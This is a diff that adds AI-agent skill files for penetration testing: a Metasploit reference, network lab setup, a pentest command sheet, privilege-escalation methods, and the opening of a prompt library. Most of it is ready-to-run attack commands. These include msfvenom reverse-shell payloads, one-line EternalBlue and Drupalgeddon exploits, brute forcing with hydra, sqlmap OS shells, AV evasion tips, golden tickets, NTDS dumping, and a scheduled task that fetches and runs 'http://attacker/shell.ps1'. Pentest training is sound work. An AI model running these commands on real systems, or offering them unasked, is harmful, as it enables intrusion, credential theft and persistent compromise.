+# The -j flag runs as background job
+msf6 > jobs -l
+
+# When payload executes on target, session opens
+[*] Meterpreter session 1 opened
+
+# Interact with session
+msf6 > sessions -i 1
+```
+
+## Quick Reference
+
+### Essential MSFConsole Commands
+
+| Command | Description |
+|---------|-------------|
+| `search [term]` | Search for modules |
+| `use [module]` | Select a module |
+| `info` | Display module information |
+| `show options` | Show configurable options |
+| `set [OPT] [val]` | Set option value |
+| `setg [OPT] [val]` | Set global option |
+| `run` / `exploit` | Execute module |
+| `check` | Verify target vulnerability |
+| `back` | Deselect module |
+| `sessions -l` | List active sessions |
+| `sessions -i [N]` | Interact with session |
+| `jobs -l` | List background jobs |
+| `db_nmap` | Run nmap with database |
+
+### Meterpreter Essential Commands
+
+| Command | Description |
+|---------|-------------|
+| `sysinfo` | System information |
+| `getuid` | Current user |
+| `getsystem` | Attempt privilege escalation |
+| `hashdump` | Dump password hashes |
+| `shell` | Drop to system shell |
+| `upload/download` | File transfer |
+| `screenshot` | Capture screen |
+| `keyscan_start` | Start keylogger |
+| `migrate [PID]` | Move to another process |
+| `background` | Background session |
+| `portfwd` | Port forwarding |
+
+### Common Exploit Modules
+
+```bash
+# Windows
+exploit/windows/smb/ms17_010_eternalblue
+exploit/windows/smb/ms08_067_netapi
+exploit/windows/http/iis_webdav_upload_asp
+exploit/windows/local/bypassuac
+
+# Linux
+exploit/linux/ssh/sshexec
+exploit/linux/local/overlayfs_priv_esc
+exploit/multi/http/apache_mod_cgi_bash_env_exec
+
+# Web Applications
+exploit/multi/http/tomcat_mgr_upload
+exploit/unix/webapp/wp_admin_shell_upload
+exploit/multi/http/jenkins_script_console
+```
+
+## Constraints and Limitations
+
+### Legal Requirements
+- Only use on systems you own or have written authorization to test
+- Document all testing activities
+- Follow rules of engagement
+- Report all findings to appropriate parties
+
+### Technical Limitations
+- Modern AV/EDR may detect Metasploit payloads
+- Some exploits require specific target configurations
+- Firewall rules may block reverse connections
+- Not all exploits work on all target versions
+
+### Operational Security
+- Use encrypted channels (reverse_https) when possible
+- Clean up artifacts after testing
+- Avoid detection by monitoring systems
+- Limit post-exploitation to agreed scope
+
+## Troubleshooting
+
+| Issue | Solutions |
+|-------|-----------|
+| Database not connected | Run `sudo msfdb init`, start PostgreSQL, then `db_connect` |
+| Exploit fails/no session | Run `check`; verify payload architecture; check firewall; try different payloads |
+| Session dies immediately | Migrate to stable process; use stageless payload; check AV; use AutoRunScript |
+| Payload detected by AV | Use encoding `-e x86/shikata_ga_nai -i 10`; use evasion modules; custom templates |

skills/network-101/SKILL.md

@@ -0,0 +1,339 @@
+---
+name: Network 101
+description: This skill should be used when the user asks to "set up a web server", "configure HTTP or HTTPS", "perform SNMP enumeration", "configure SMB shares", "test network services", or needs guidance on configuring and testing network services for penetration testing labs.
+---
+
+# Network 101
+
+## Purpose
+
+Configure and test common network services (HTTP, HTTPS, SNMP, SMB) for penetration testing lab environments. Enable hands-on practice with service enumeration, log analysis, and security testing against properly configured target systems.
+
+## Inputs/Prerequisites
+
+- Windows Server or Linux system for hosting services
+- Kali Linux or similar for testing
+- Administrative access to target system
+- Basic networking knowledge (IP addressing, ports)
+- Firewall access for port configuration
+
+## Outputs/Deliverables
+
+- Configured HTTP/HTTPS web server
+- SNMP service with accessible communities
+- SMB file shares with various permission levels
+- Captured logs for analysis
+- Documented enumeration results
+
+## Core Workflow
+
+### 1. Configure HTTP Server (Port 80)
+
+Set up a basic HTTP web server for testing:
+
+**Windows IIS Setup:**
+1. Open IIS Manager (Internet Information Services)
+2. Right-click Sites → Add Website
+3. Configure site name and physical path
+4. Bind to IP address and port 80
+
+**Linux Apache Setup:**
+
+```bash
+# Install Apache
+sudo apt update && sudo apt install apache2
+
+# Start service
+sudo systemctl start apache2
+sudo systemctl enable apache2
+
+# Create test page
+echo "<html><body><h1>Test Page</h1></body></html>" | sudo tee /var/www/html/index.html
+
+# Verify service
+curl http://localhost
+```
+
+**Configure Firewall for HTTP:**
+
+```bash
+# Linux (UFW)
+sudo ufw allow 80/tcp
+
+# Windows PowerShell
+New-NetFirewallRule -DisplayName "HTTP" -Direction Inbound -Protocol TCP -LocalPort 80 -Action Allow
+```
+
+### 2. Configure HTTPS Server (Port 443)
+
+Set up secure HTTPS with SSL/TLS:
+
+**Generate Self-Signed Certificate:**
+
+```bash
+# Linux - Generate certificate
+sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
+  -keyout /etc/ssl/private/apache-selfsigned.key \
+  -out /etc/ssl/certs/apache-selfsigned.crt
+
+# Enable SSL module
+sudo a2enmod ssl
+sudo systemctl restart apache2
+```
+
+**Configure Apache for HTTPS:**
+
+```bash
+# Edit SSL virtual host
+sudo nano /etc/apache2/sites-available/default-ssl.conf
+
+# Enable site
+sudo a2ensite default-ssl
+sudo systemctl reload apache2
+```
+
+**Verify HTTPS Setup:**
+
+```bash
+# Check port 443 is open
+nmap -p 443 192.168.1.1
+
+# Test SSL connection
+openssl s_client -connect 192.168.1.1:443
+
+# Check certificate
+curl -kv https://192.168.1.1
+```
+
+### 3. Configure SNMP Service (Port 161)
+
+Set up SNMP for enumeration practice:
+
+**Linux SNMP Setup:**
+
+```bash
+# Install SNMP daemon
+sudo apt install snmpd snmp
+
+# Configure community strings
+sudo nano /etc/snmp/snmpd.conf
+
+# Add these lines:
+# rocommunity public
+# rwcommunity private
+
+# Restart service
+sudo systemctl restart snmpd
+```
+
+**Windows SNMP Setup:**
+1. Open Server Manager → Add Features
+2. Select SNMP Service
+3. Configure community strings in Services → SNMP Service → Properties
+
+**SNMP Enumeration Commands:**
+
+```bash
+# Basic SNMP walk
+snmpwalk -c public -v1 192.168.1.1
+
+# Enumerate system info
+snmpwalk -c public -v1 192.168.1.1 1.3.6.1.2.1.1
+
+# Get running processes
+snmpwalk -c public -v1 192.168.1.1 1.3.6.1.2.1.25.4.2.1.2
+
+# SNMP check tool
+snmp-check 192.168.1.1 -c public
+
+# Brute force community strings
+onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt 192.168.1.1
+```
+
+### 4. Configure SMB Service (Port 445)
+
+Set up SMB file shares for enumeration:
+
+**Windows SMB Share:**
+1. Create folder to share
+2. Right-click → Properties → Sharing → Advanced Sharing
+3. Enable sharing and set permissions
+4. Configure NTFS permissions
+
+**Linux Samba Setup:**
+
+```bash
+# Install Samba
+sudo apt install samba
+
+# Create share directory
+sudo mkdir -p /srv/samba/share
+sudo chmod 777 /srv/samba/share
+
+# Configure Samba
+sudo nano /etc/samba/smb.conf
+
+# Add share:
+# [public]
+#    path = /srv/samba/share
+#    browsable = yes
+#    guest ok = yes
+#    read only = no
+
+# Restart service
+sudo systemctl restart smbd
+```
+
+**SMB Enumeration Commands:**
+
+```bash
+# List shares anonymously
+smbclient -L //192.168.1.1 -N
+
+# Connect to share
+smbclient //192.168.1.1/share -N
+
+# Enumerate with smbmap
+smbmap -H 192.168.1.1
+
+# Full enumeration
+enum4linux -a 192.168.1.1
+
+# Check for vulnerabilities
+nmap --script smb-vuln* 192.168.1.1
+```
+
+### 5. Analyze Service Logs
+
+Review logs for security analysis:
+
+**HTTP/HTTPS Logs:**
+
+```bash
+# Apache access log
+sudo tail -f /var/log/apache2/access.log
+
+# Apache error log
+sudo tail -f /var/log/apache2/error.log
+
+# Windows IIS logs
+# Location: C:\inetpub\logs\LogFiles\W3SVC1\
+```
+
+**Parse Log for Credentials:**
+
+```bash
+# Search for POST requests
+grep "POST" /var/log/apache2/access.log
+
+# Extract user agents
+awk '{print $12}' /var/log/apache2/access.log | sort | uniq -c
+```
+
+## Quick Reference
+
+### Essential Ports
+
+| Service | Port | Protocol |
+|---------|------|----------|
+| HTTP | 80 | TCP |
+| HTTPS | 443 | TCP |
+| SNMP | 161 | UDP |
+| SMB | 445 | TCP |
+| NetBIOS | 137-139 | TCP/UDP |
+
+### Service Verification Commands
+
+```bash
+# Check HTTP
+curl -I http://target
+
+# Check HTTPS
+curl -kI https://target
+
+# Check SNMP
+snmpwalk -c public -v1 target
+
+# Check SMB
+smbclient -L //target -N
+```
+
+### Common Enumeration Tools
+
+| Tool | Purpose |
+|------|---------|
+| nmap | Port scanning and scripts |
+| nikto | Web vulnerability scanning |
+| snmpwalk | SNMP enumeration |
+| enum4linux | SMB/NetBIOS enumeration |
+| smbclient | SMB connection |
+| gobuster | Directory brute forcing |
+
+## Constraints
+
+- Self-signed certificates trigger browser warnings
+- SNMP v1/v2c communities transmit in cleartext
+- Anonymous SMB access is often disabled by default
+- Firewall rules must allow inbound connections
+- Lab environments should be isolated from production
+
+## Examples
+
+### Example 1: Complete HTTP Lab Setup
+
+```bash
+# Install and configure
+sudo apt install apache2
+sudo systemctl start apache2
+
+# Create login page
+cat << 'EOF' | sudo tee /var/www/html/login.html
+<html>
+<body>
+<form method="POST" action="login.php">
+Username: <input type="text" name="user"><br>
+Password: <input type="password" name="pass"><br>
+<input type="submit" value="Login">
+</form>
+</body>
+</html>
+EOF
+
+# Allow through firewall
+sudo ufw allow 80/tcp
+```
+
+### Example 2: SNMP Testing Setup
+
+```bash
+# Quick SNMP configuration
+sudo apt install snmpd
+echo "rocommunity public" | sudo tee -a /etc/snmp/snmpd.conf
+sudo systemctl restart snmpd
+
+# Test enumeration
+snmpwalk -c public -v1 localhost
+```
+
+### Example 3: SMB Anonymous Access
+
+```bash
+# Configure anonymous share
+sudo apt install samba
+sudo mkdir /srv/samba/anonymous
+sudo chmod 777 /srv/samba/anonymous
+
+# Test access
+smbclient //localhost/anonymous -N
+```
+
+## Troubleshooting
+
+| Issue | Solution |
+|-------|----------|
+| Port not accessible | Check firewall rules (ufw, iptables, Windows Firewall) |
+| Service not starting | Check logs with `journalctl -u service-name` |
+| SNMP timeout | Verify UDP 161 is open, check community string |
+| SMB access denied | Verify share permissions and user credentials |
+| HTTPS certificate error | Accept self-signed cert or add to trusted store |
+| Cannot connect remotely | Bind service to 0.0.0.0 instead of localhost |

skills/pentest-commands/SKILL.md

@@ -0,0 +1,435 @@
+---
+name: Pentest Commands
+description: This skill should be used when the user asks to "run pentest commands", "scan with nmap", "use metasploit exploits", "crack passwords with hydra or john", "scan web vulnerabilities with nikto", "enumerate networks", or needs essential penetration testing command references.
+---
+
+# Pentest Commands
+
+## Purpose
+
+Provide a comprehensive command reference for penetration testing tools including network scanning, exploitation, password cracking, and web application testing. Enable quick command lookup during security assessments.
+
+## Inputs/Prerequisites
+
+- Kali Linux or penetration testing distribution
+- Target IP addresses with authorization
+- Wordlists for brute forcing
+- Network access to target systems
+- Basic understanding of tool syntax
+
+## Outputs/Deliverables
+
+- Network enumeration results
+- Identified vulnerabilities
+- Exploitation payloads
+- Cracked credentials
+- Web vulnerability findings
+
+## Core Workflow
+
+### 1. Nmap Commands
+
+**Host Discovery:**
+
+```bash
+# Ping sweep
+nmap -sP 192.168.1.0/24
+
+# List IPs without scanning
+nmap -sL 192.168.1.0/24
+
+# Ping scan (host discovery)
+nmap -sn 192.168.1.0/24
+```
+
+**Port Scanning:**
+
+```bash
+# TCP SYN scan (stealth)
+nmap -sS 192.168.1.1
+
+# Full TCP connect scan
+nmap -sT 192.168.1.1
+
+# UDP scan
+nmap -sU 192.168.1.1
+
+# All ports (1-65535)
+nmap -p- 192.168.1.1
+
+# Specific ports
+nmap -p 22,80,443 192.168.1.1
+```
+
+**Service Detection:**
+
+```bash
+# Service versions
+nmap -sV 192.168.1.1
+
+# OS detection
+nmap -O 192.168.1.1
+
+# Comprehensive scan
+nmap -A 192.168.1.1
+
+# Skip host discovery
+nmap -Pn 192.168.1.1
+```
+
+**NSE Scripts:**
+
+```bash
+# Vulnerability scan
+nmap --script vuln 192.168.1.1
+
+# SMB enumeration
+nmap --script smb-enum-shares -p 445 192.168.1.1
+
+# HTTP enumeration
+nmap --script http-enum -p 80 192.168.1.1
+
+# Check EternalBlue
+nmap --script smb-vuln-ms17-010 192.168.1.1
+
+# Check MS08-067
+nmap --script smb-vuln-ms08-067 192.168.1.1
+
+# SSH brute force
+nmap --script ssh-brute -p 22 192.168.1.1
+
+# FTP anonymous
+nmap --script ftp-anon 192.168.1.1
+
+# DNS brute force
+nmap --script dns-brute 192.168.1.1
+
+# HTTP methods
+nmap -p80 --script http-methods 192.168.1.1
+
+# HTTP headers
+nmap -p80 --script http-headers 192.168.1.1
+
+# SQL injection check
+nmap --script http-sql-injection -p 80 192.168.1.1
+```
+
+**Advanced Scans:**
+
+```bash
+# Xmas scan
+nmap -sX 192.168.1.1
+
+# ACK scan (firewall detection)
+nmap -sA 192.168.1.1
+
+# Window scan
+nmap -sW 192.168.1.1
+
+# Traceroute
+nmap --traceroute 192.168.1.1
+```
+
+### 2. Metasploit Commands
+
+**Basic Usage:**
+
+```bash
+# Launch Metasploit
+msfconsole
+
+# Search for exploits
+search type:exploit name:smb
+
+# Use exploit
+use exploit/windows/smb/ms17_010_eternalblue
+
+# Show options
+show options
+
+# Set target
+set RHOST 192.168.1.1
+
+# Set payload
+set PAYLOAD windows/meterpreter/reverse_tcp
+
+# Run exploit
+exploit
+```
+
+**Common Exploits:**
+
+```bash
+# EternalBlue
+msfconsole -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOST 192.168.1.1; exploit"
+
+# MS08-067 (Conficker)
+msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST 192.168.1.1; exploit"
+
+# vsftpd backdoor
+msfconsole -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOST 192.168.1.1; exploit"
+
+# Shellshock
+msfconsole -x "use exploit/linux/http/apache_mod_cgi_bash_env_exec; set RHOST 192.168.1.1; exploit"
+
+# Drupalgeddon2
+msfconsole -x "use exploit/unix/webapp/drupal_drupalgeddon2; set RHOST 192.168.1.1; exploit"
+
+# PSExec
+msfconsole -x "use exploit/windows/smb/psexec; set RHOST 192.168.1.1; set SMBUser user; set SMBPass pass; exploit"
+```
+
+**Scanners:**
+
+```bash
+# TCP port scan
+msfconsole -x "use auxiliary/scanner/portscan/tcp; set RHOSTS 192.168.1.0/24; run"
+
+# SMB version scan
+msfconsole -x "use auxiliary/scanner/smb/smb_version; set RHOSTS 192.168.1.0/24; run"
+
+# SMB share enumeration
+msfconsole -x "use auxiliary/scanner/smb/smb_enumshares; set RHOSTS 192.168.1.0/24; run"
+
+# SSH brute force
+msfconsole -x "use auxiliary/scanner/ssh/ssh_login; set RHOSTS 192.168.1.0/24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run"
+
+# FTP brute force
+msfconsole -x "use auxiliary/scanner/ftp/ftp_login; set RHOSTS 192.168.1.0/24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run"
+
+# RDP scanning
+msfconsole -x "use auxiliary/scanner/rdp/rdp_scanner; set RHOSTS 192.168.1.0/24; run"
+```
+
+**Handler Setup:**
+
+```bash
+# Multi-handler for reverse shells
+msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.2; set LPORT 4444; exploit"
+```
+
+**Payload Generation (msfvenom):**
+
+```bash
+# Windows reverse shell
+msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f exe > shell.exe
+
+# Linux reverse shell
+msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f elf > shell.elf
+
+# PHP reverse shell
+msfvenom -p php/reverse_php LHOST=192.168.1.2 LPORT=4444 -f raw > shell.php
+
+# ASP reverse shell
+msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f asp > shell.asp
+
+# WAR file
+msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f war > shell.war
+
+# Python payload
+msfvenom -p cmd/unix/reverse_python LHOST=192.168.1.2 LPORT=4444 -f raw > shell.py
+```
+
+### 3. Nikto Commands
+
+```bash
+# Basic scan
+nikto -h http://192.168.1.1
+
+# Comprehensive scan
+nikto -h http://192.168.1.1 -C all
+
+# Output to file
+nikto -h http://192.168.1.1 -output report.html
+
+# Plugin-based scans
+nikto -h http://192.168.1.1 -Plugins robots
+nikto -h http://192.168.1.1 -Plugins shellshock
+nikto -h http://192.168.1.1 -Plugins heartbleed
+nikto -h http://192.168.1.1 -Plugins ssl
+
+# Export to Metasploit
+nikto -h http://192.168.1.1 -Format msf+
+
+# Specific tuning
+nikto -h http://192.168.1.1 -Tuning 1  # Interesting files only
+```
+
+### 4. SQLMap Commands
+
+```bash
+# Basic injection test
+sqlmap -u "http://192.168.1.1/page?id=1"
+
+# Enumerate databases
+sqlmap -u "http://192.168.1.1/page?id=1" --dbs
+
+# Enumerate tables
+sqlmap -u "http://192.168.1.1/page?id=1" -D database --tables
+
+# Dump table
+sqlmap -u "http://192.168.1.1/page?id=1" -D database -T users --dump
+
+# OS shell
+sqlmap -u "http://192.168.1.1/page?id=1" --os-shell
+
+# POST request
+sqlmap -u "http://192.168.1.1/login" --data="user=admin&pass=test"
+
+# Cookie injection
+sqlmap -u "http://192.168.1.1/page" --cookie="id=1*"
+
+# Bypass WAF
+sqlmap -u "http://192.168.1.1/page?id=1" --tamper=space2comment
+
+# Risk and level
+sqlmap -u "http://192.168.1.1/page?id=1" --risk=3 --level=5
+```
+
+### 5. Hydra Commands
+
+```bash
+# SSH brute force
+hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.1
+
+# FTP brute force
+hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.1
+
+# HTTP POST form
+hydra -l admin -P passwords.txt 192.168.1.1 http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"
+
+# HTTP Basic Auth
+hydra -l admin -P passwords.txt 192.168.1.1 http-get /admin/
+
+# SMB brute force
+hydra -l admin -P passwords.txt smb://192.168.1.1
+
+# RDP brute force
+hydra -l admin -P passwords.txt rdp://192.168.1.1
+
+# MySQL brute force
+hydra -l root -P passwords.txt mysql://192.168.1.1
+
+# Username list
+hydra -L users.txt -P passwords.txt ssh://192.168.1.1
+```
+
+### 6. John the Ripper Commands
+
+```bash
+# Crack password file
+john hash.txt
+
+# Specify wordlist
+john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
+
+# Show cracked passwords
+john hash.txt --show
+
+# Specify format
+john hash.txt --format=raw-md5
+john hash.txt --format=nt
+john hash.txt --format=sha512crypt
+
+# SSH key passphrase
+ssh2john id_rsa > ssh_hash.txt
+john ssh_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
+
+# ZIP password
+zip2john file.zip > zip_hash.txt
+john zip_hash.txt
+```
+
+### 7. Aircrack-ng Commands
+
+```bash
+# Monitor mode
+airmon-ng start wlan0
+
+# Capture packets
+airodump-ng wlan0mon
+
+# Target specific network
+airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
+
+# Deauth attack
+aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon
+
+# Crack WPA handshake
+aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap
+```
+
+### 8. Wireshark/Tshark Commands
+
+```bash
+# Capture traffic
+tshark -i eth0 -w capture.pcap
+
+# Read capture file
+tshark -r capture.pcap
+
+# Filter by protocol
+tshark -r capture.pcap -Y "http"
+
+# Filter by IP
+tshark -r capture.pcap -Y "ip.addr == 192.168.1.1"
+
+# Extract HTTP data
+tshark -r capture.pcap -Y "http" -T fields -e http.request.uri
+```
+
+## Quick Reference
+
+### Common Port Scans
+
+```bash
+# Quick scan
+nmap -F 192.168.1.1
+
+# Full comprehensive
+nmap -sV -sC -A -p- 192.168.1.1
+
+# Fast with version
+nmap -sV -T4 192.168.1.1
+```
+
+### Password Hash Types
+
+| Mode | Type |
+|------|------|
+| 0 | MD5 |
+| 100 | SHA1 |
+| 1000 | NTLM |
+| 1800 | sha512crypt |
+| 3200 | bcrypt |
+| 13100 | Kerberoast |
+
+## Constraints
+
+- Always have written authorization
+- Some scans are noisy and detectable
+- Brute forcing may lock accounts
+- Rate limiting affects tools
+
+## Examples
+
+### Example 1: Quick Vulnerability Scan
+
+```bash
+nmap -sV --script vuln 192.168.1.1
+```
+
+### Example 2: Web App Test
+
+```bash
+nikto -h http://target && sqlmap -u "http://target/page?id=1" --dbs
+```
+
+## Troubleshooting
+
+| Issue | Solution |
+|-------|----------|
+| Scan too slow | Increase timing (-T4, -T5) |
+| Ports filtered | Try different scan types |
+| Exploit fails | Check target version compatibility |
+| Passwords not cracking | Try larger wordlists, rules |

skills/privilege-escalation-methods/SKILL.md

@@ -0,0 +1,330 @@
+---
+name: Privilege Escalation Methods
+description: This skill should be used when the user asks to "escalate privileges", "get root access", "become administrator", "privesc techniques", "abuse sudo", "exploit SUID binaries", "Kerberoasting", "pass-the-ticket", "token impersonation", or needs guidance on post-exploitation privilege escalation for Linux or Windows systems.
+---
+
+# Privilege Escalation Methods
+
+## Purpose
+
+Provide comprehensive techniques for escalating privileges from a low-privileged user to root/administrator access on compromised Linux and Windows systems. Essential for penetration testing post-exploitation phase and red team operations.
+
+## Inputs/Prerequisites
+
+- Initial low-privilege shell access on target system
+- Kali Linux or penetration testing distribution
+- Tools: Mimikatz, PowerView, PowerUpSQL, Responder, Impacket, Rubeus
+- Understanding of Windows/Linux privilege models
+- For AD attacks: Domain user credentials and network access to DC
+
+## Outputs/Deliverables
+
+- Root or Administrator shell access
+- Extracted credentials and hashes
+- Persistent access mechanisms
+- Domain compromise (for AD environments)
+
+---
+
+## Core Techniques
+
+### Linux Privilege Escalation
+
+#### 1. Abusing Sudo Binaries
+
+Exploit misconfigured sudo permissions using GTFOBins techniques:
+
+```bash
+# Check sudo permissions
+sudo -l
+
+# Exploit common binaries
+sudo vim -c ':!/bin/bash'
+sudo find /etc/passwd -exec /bin/bash \;
+sudo awk 'BEGIN {system("/bin/bash")}'
+sudo python -c 'import pty;pty.spawn("/bin/bash")'
+sudo perl -e 'exec "/bin/bash";'
+sudo less /etc/hosts    # then type: !bash
+sudo man man            # then type: !bash
+sudo env /bin/bash
+```
+
+#### 2. Abusing Scheduled Tasks (Cron)
+
+```bash
+# Find writable cron scripts
+ls -la /etc/cron*
+cat /etc/crontab
+
+# Inject payload into writable script
+echo 'chmod +s /bin/bash' > /home/user/systemupdate.sh
+chmod +x /home/user/systemupdate.sh
+
+# Wait for execution, then:
+/bin/bash -p
+```
+
+#### 3. Abusing Capabilities
+
+```bash
+# Find binaries with capabilities
+getcap -r / 2>/dev/null
+
+# Python with cap_setuid
+/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'
+
+# Perl with cap_setuid
+/usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'
+
+# Tar with cap_dac_read_search (read any file)
+/usr/bin/tar -cvf key.tar /root/.ssh/id_rsa
+/usr/bin/tar -xvf key.tar
+```
+
+#### 4. NFS Root Squashing
+
+```bash
+# Check for NFS shares
+showmount -e <victim_ip>
+
+# Mount and exploit no_root_squash
+mkdir /tmp/mount
+mount -o rw,vers=2 <victim_ip>:/tmp /tmp/mount
+cd /tmp/mount
+cp /bin/bash .
+chmod +s bash
+```
+
+#### 5. MySQL Running as Root
+
+```bash
+# If MySQL runs as root
+mysql -u root -p
+\! chmod +s /bin/bash
+exit
+/bin/bash -p
+```
+
+---
+
+### Windows Privilege Escalation
+
+#### 1. Token Impersonation
+
+```powershell
+# Using SweetPotato (SeImpersonatePrivilege)
+execute-assembly sweetpotato.exe -p beacon.exe
+
+# Using SharpImpersonation
+SharpImpersonation.exe user:<user> technique:ImpersonateLoggedOnuser
+```
+
+#### 2. Service Abuse
+
+```powershell
+# Using PowerUp
+. .\PowerUp.ps1
+Invoke-ServiceAbuse -Name 'vds' -UserName 'domain\user1'
+Invoke-ServiceAbuse -Name 'browser' -UserName 'domain\user1'
+```
+
+#### 3. Abusing SeBackupPrivilege
+
+```powershell
+import-module .\SeBackupPrivilegeUtils.dll
+import-module .\SeBackupPrivilegeCmdLets.dll
+Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\temp\ntds.dit
+```
+
+#### 4. Abusing SeLoadDriverPrivilege
+
+```powershell
+# Load vulnerable Capcom driver
+.\eoploaddriver.exe System\CurrentControlSet\MyService C:\test\capcom.sys
+.\ExploitCapcom.exe
+```
+
+#### 5. Abusing GPO
+
+```powershell
+.\SharpGPOAbuse.exe --AddComputerTask --Taskname "Update" `
+  --Author DOMAIN\<USER> --Command "cmd.exe" `
+  --Arguments "/c net user Administrator Password!@# /domain" `
+  --GPOName "ADDITIONAL DC CONFIGURATION"
+```
+
+---
+
+### Active Directory Attacks
+
+#### 1. Kerberoasting
+
+```bash
+# Using Impacket
+GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.100 -request
+
+# Using CrackMapExec
+crackmapexec ldap 10.0.2.11 -u 'user' -p 'pass' --kdcHost 10.0.2.11 --kerberoast output.txt
+```
+
+#### 2. AS-REP Roasting
+
+```powershell
+.\Rubeus.exe asreproast
+```
+
+#### 3. Golden Ticket
+
+```powershell
+# DCSync to get krbtgt hash
+mimikatz# lsadump::dcsync /user:krbtgt
+
+# Create golden ticket
+mimikatz# kerberos::golden /user:Administrator /domain:domain.local `
+  /sid:S-1-5-21-... /rc4:<NTLM_HASH> /id:500
+```
+
+#### 4. Pass-the-Ticket
+
+```powershell
+.\Rubeus.exe asktgt /user:USER$ /rc4:<NTLM_HASH> /ptt
+klist  # Verify ticket
+```
+
+#### 5. Golden Ticket with Scheduled Tasks
+
+```powershell
+# 1. Elevate and dump credentials
+mimikatz# token::elevate
+mimikatz# vault::cred /patch
+mimikatz# lsadump::lsa /patch
+
+# 2. Create golden ticket
+mimikatz# kerberos::golden /user:Administrator /rc4:<HASH> `
+  /domain:DOMAIN /sid:<SID> /ticket:ticket.kirbi
+
+# 3. Create scheduled task
+schtasks /create /S DOMAIN /SC Weekly /RU "NT Authority\SYSTEM" `
+  /TN "enterprise" /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'"
+schtasks /run /s DOMAIN /TN "enterprise"
+```
+
+---
+
+### Credential Harvesting
+
+#### LLMNR Poisoning
+
+```bash
+# Start Responder
+responder -I eth1 -v
+
+# Create malicious shortcut (Book.url)
+[InternetShortcut]
+URL=https://facebook.com
+IconIndex=0
+IconFile=\\attacker_ip\not_found.ico
+```
+
+#### NTLM Relay
+
+```bash
+responder -I eth1 -v
+ntlmrelayx.py -tf targets.txt -smb2support
+```
+
+#### Dumping with VSS
+
+```powershell
+vssadmin create shadow /for=C:
+copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\
+copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\
+```
+
+---
+
+## Quick Reference
+
+| Technique | OS | Domain Required | Tool |
+|-----------|-----|-----------------|------|
+| Sudo Binary Abuse | Linux | No | GTFOBins |
+| Cron Job Exploit | Linux | No | Manual |
+| Capability Abuse | Linux | No | getcap |
+| NFS no_root_squash | Linux | No | mount |
+| Token Impersonation | Windows | No | SweetPotato |
+| Service Abuse | Windows | No | PowerUp |
+| Kerberoasting | Windows | Yes | Rubeus/Impacket |
+| AS-REP Roasting | Windows | Yes | Rubeus |
+| Golden Ticket | Windows | Yes | Mimikatz |
+| Pass-the-Ticket | Windows | Yes | Rubeus |
+| DCSync | Windows | Yes | Mimikatz |
+| LLMNR Poisoning | Windows | Yes | Responder |
+
+---
+
+## Constraints
+
+**Must:**
+- Have initial shell access before attempting escalation
+- Verify target OS and environment before selecting technique
+- Use appropriate tool for domain vs local escalation
+
+**Must Not:**
+- Attempt techniques on production systems without authorization
+- Leave persistence mechanisms without client approval
+- Ignore detection mechanisms (EDR, SIEM)
+
+**Should:**
+- Enumerate thoroughly before exploitation
+- Document all successful escalation paths
+- Clean up artifacts after engagement
+
+---
+
+## Examples
+
+### Example 1: Linux Sudo to Root
+
+```bash
+# Check sudo permissions
+$ sudo -l
+User www-data may run the following commands:
+    (root) NOPASSWD: /usr/bin/vim
+
+# Exploit vim
+$ sudo vim -c ':!/bin/bash'
+root@target:~# id
+uid=0(root) gid=0(root) groups=0(root)
+```
+
+### Example 2: Windows Kerberoasting
+
+```bash
+# Request service tickets
+$ GetUserSPNs.py domain.local/jsmith:Password123 -dc-ip 10.10.10.1 -request
+
+# Crack with hashcat
+$ hashcat -m 13100 hashes.txt rockyou.txt
+```
+
+---
+
+## Troubleshooting
+
+| Issue | Solution |
+|-------|----------|
+| sudo -l requires password | Try other enumeration (SUID, cron, capabilities) |
+| Mimikatz blocked by AV | Use Invoke-Mimikatz or SafetyKatz |
+| Kerberoasting returns no hashes | Check for service accounts with SPNs |
+| Token impersonation fails | Verify SeImpersonatePrivilege is present |
+| NFS mount fails | Check NFS version compatibility (vers=2,3,4) |
+
+---
+
+## Additional Resources
+
+For detailed enumeration scripts, use:
+- **LinPEAS**: Linux privilege escalation enumeration
+- **WinPEAS**: Windows privilege escalation enumeration
+- **BloodHound**: Active Directory attack path mapping
+- **GTFOBins**: Unix binary exploitation reference

skills/prompt-library/SKILL.md

@@ -0,0 +1,322 @@
+---
+name: prompt-library
+description: "Curated collection of high-quality prompts for various use cases. Includes role-based prompts, task-specific templates, and prompt refinement techniques. Use when user needs prompt templates, role-play prompts, or ready-to-use prompt examples for coding, writing, analysis, or creative tasks."
+---
+
+# 📝 Prompt Library
+
+> A comprehensive collection of battle-tested prompts inspired by [awesome-chatgpt-prompts](https://github.com/f/awesome-chatgpt-prompts) and community best practices.
+
+## When to Use This Skill
+
+Use this skill when the user:
+
+- Needs ready-to-use prompt templates
+- Wants role-based prompts (act as X)
+- Asks for prompt examples or inspiration
